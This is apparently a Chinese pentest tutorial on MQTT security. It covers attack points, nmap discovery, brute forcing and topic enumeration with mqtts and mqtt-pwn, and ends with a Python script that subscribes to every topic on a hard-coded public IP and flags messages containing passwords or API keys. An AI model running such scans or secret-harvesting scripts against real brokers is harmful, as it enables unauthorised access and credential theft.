mqtt安全
MQTT协议
MQTT 全称为 Message Queuing Telemetry Transport(消息队列遥测传输)是是ISO 标准(ISO/IEC PRF 20922)下基于发布/订阅范式的消息协议,由 IBM 发布。由于其轻量、简单、开放和易于实现的特点非常适合需要低功耗和网络带宽有限的IoT场景。比如遥感数据、汽车、智能家居、智慧城市、医疗医护等。
使用发布/订阅的消息模式,支持一对多的消息发布; 消息是通过TCP/IP协议传输; 简单的数据包格式; 默认端口为TCP的1883,websocket端口8083,默认消息不加密。8883端口默认是通过TLS加密的MQTT协议。
发布/订阅模式
MQTT协议中有三种角色和一个主要概念,三种角色分别是发布者(PUBLISHER)、订阅者(SUBCRIBER)、代理(BROKER),还有一个主要的概念为主题(TOPIC)。
消息的发送方被称为发布者,消息的接收方被称为订阅者,发送者和订阅者发布或订阅消息均会连接BROKER,BROKER一般为服务端,BROKER存放消息的容器就是主题。发布者将消息发送到主题中,订阅者在接收消息之前需要先“订阅主题”。每份订阅中,订阅者都可以接收到主题的所有消息。

其MQTT协议流程图如下:
MQTT的攻击点
根据其特性,可以扩展如下几个攻击点:
- 授权:匿名连接问题,匿名访问则代表任何人都可以发布或订阅消息。如果存在敏感数据或指令,将导致信息泄漏或者被恶意攻击者发起恶意指令;
- 传输:默认未加密,则可被中间人攻击。可获取其验证的用户名和密码;
- 认证:弱口令问题,由于可被爆破,设置了弱口令,同样也会存在安全风险;
- 应用:订阅端明文配置导致泄漏其验证的用户名和密码;
- 漏洞:服务端软件自身存在缺陷可被利用,或者订阅端或服务端解析内容不当产生安全漏洞,这将导致整个系统。
探测与发现
功能强大的nmap是支持MQTT协议的识别的,可以直接通过nmap进行识别MQTT协议。另外,除上面提到的默认端口外,有的管理员会修改默认端口,这时也可以尝试1884,8084,8884等临近端口以进行快速探测,或前面增加数字等作为组合,如果针对单个目标,则可以探测全部端口。如果进行大规模的扫描或者提升扫描效率,则可以使用masscan、zmap、RustScan等先进性端口扫描,在使用nmap进行协议识别即可。 nmap举例命令如下: sudo nmap -p1883,8083,8883 -sS -sV --version-intensity 9 -Pn --open target_ip
nmap也有相关的MQTT lua脚本可以使用,其MQTT版本为3.1.1。脚本地址为https://svn.nmap.org/nmap/nselib/mqtt.lua。
如果想要自己编写代码去进行探测,只需要根据MQTT的协议标准,通过socket即可进行收发报文。关于MQTT协议的详细内容可以查看文档,地址为https://docs.oasis-open.org/mqtt/mqtt/
现有的网络空间测绘平台基本都实现了对MQTT进行探测。可直接通过这些搜索引擎获取大量对外使用MQTT协议的服务。
mqtt检测工具
mqtts
https://github.com/SPuerBRead/mqtts
使用该工具进行mqtt漏洞的扫描
扫描未授权访问

对mqtt进行爆破,爆破的时候,自己更换字典,需要重新编译

mqtt-pwn
官方文档 https://mqtt-pwn.readthedocs.io/en/latest/plugins/brute.html
安装
dockerfile和requirements需要修改
Dockerfile:
`FROM python:3.8-slim-buster
RUN apt-get update
RUN apt-get install software-properties-common less vim -y
ENV INSTALL_PATH /mqtt_pwn
RUN mkdir -p $INSTALL_PATH
WORKDIR $INSTALL_PATH
COPY requirements.txt requirements.txt
RUN pip install -r requirements.txt
COPY . .
`
requirements.txt:
aiohttp==3.2.1 alabaster==0.7.10 async-timeout==3.0.0 attrs==18.1.0 Babel==2.5.3 blessings==1.6.1 certifi==2018.4.16 chardet==3.0.4 Click==7.0 click-plugins==1.0.4 cmd2==0.9.3 colorama==0.4.0 docutils==0.14 future==0.16.0 idna==2.6 idna-ssl==1.1.0 imagesize==1.0.0 Jinja2==2.10 MarkupSafe multidict==4.3.1 packaging==17.1 paho-mqtt==1.3.1 peewee==3.3.2 prettytable==0.7.2 psycopg2-binary Pygments PyMySQL==0.8.1 pyparsing==2.2.0 pyperclip==1.6.0 pytz==2018.4 requests==2.20.0 shodan==1.10.4 six==1.11.0 snowballstemmer==1.2.1 Sphinx==1.7.4 sphinxcontrib-websupport==1.0.1 urllib3==1.24.2 wcwidth==0.1.7 XlsxWriter==1.1.2 yarl==1.2.4
利用
使用mqtt-pwn的connect命令进行连接。connect -h 显示帮助信息,其他命令也是如此,使用时,多看帮助和文档,很快就可以熟悉使用。 对于开启匿名的服务,直接connect -o host 即可,当然该命令也支持输入用户名和密码。如果没有显示连接异常,就表示连接成功。连接成功后,可使用system_info 查看系统信息。

接下来就可以查看topic信息等内容。这时先执行discovery,等待显示scan #1 has finished,接下来执行scans -i 序号,在执行topics命令即可看到topic信息。 其中disconvery可以使用-t参数设置超时时间。topics命令可以使用-l参数设置查看条数。

可以输入messages查看topic的内容。使用-l限制条数,-i参数查看某个单挑消息内容等。

自写脚本进行mqtt订阅所有主题并且监听
import paho.mqtt.client as mqtt
import re # Import the regular expression module
HOST = "59.124.147.155"
PORT = 1883
OUTPUT_FILE = "mqtt_messages.txt"
SENSITIVE_KEYWORDS = ["password", "secret", "api_key"] # Add your sensitive keywords here
def contains_sensitive_info(payload):
for keyword in SENSITIVE_KEYWORDS:
if re.search(rf'\b{re.escape(keyword)}\b', payload, flags=re.IGNORECASE):
return True
return False
def on_connect(client, userdata, flags, rc):
if rc == 0:
print("Connected to MQTT broker")
client.subscribe("#")
else:
print(f"Connection failed with result code {rc}")
def on_message(client, userdata, message):
print("Received message:")
print(" Topic:", message.topic)
print(" Payload:", message.payload.decode('utf-8', errors='ignore'))
# Check for sensitive information
if contains_sensitive_info(message.payload.decode('utf-8', errors='ignore')):
print("Sensitive information detected!")
# Save message to file
with open(OUTPUT_FILE, "a") as file:
file.write(f"Topic: {message.topic}\n")
file.write(f"Payload: {message.payload.decode('utf-8', errors='ignore')}\n")
file.write("\n") # Add a blank line to separate each message
def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
try:
client.connect(HOST, PORT, 60)
client.loop_forever()
except KeyboardInterrupt:
print("\nDisconnected from MQTT broker.")
except Exception as e:
print(f"An error occurred: {str(e)}")
finally:
client.disconnect()
if __name__ == "__main__":
main()
wireshark
在路由器上tcpdump抓取流量,使用wireshark查看mqtt明文传输的信息

参考
https://www.anquanke.com/post/id/212335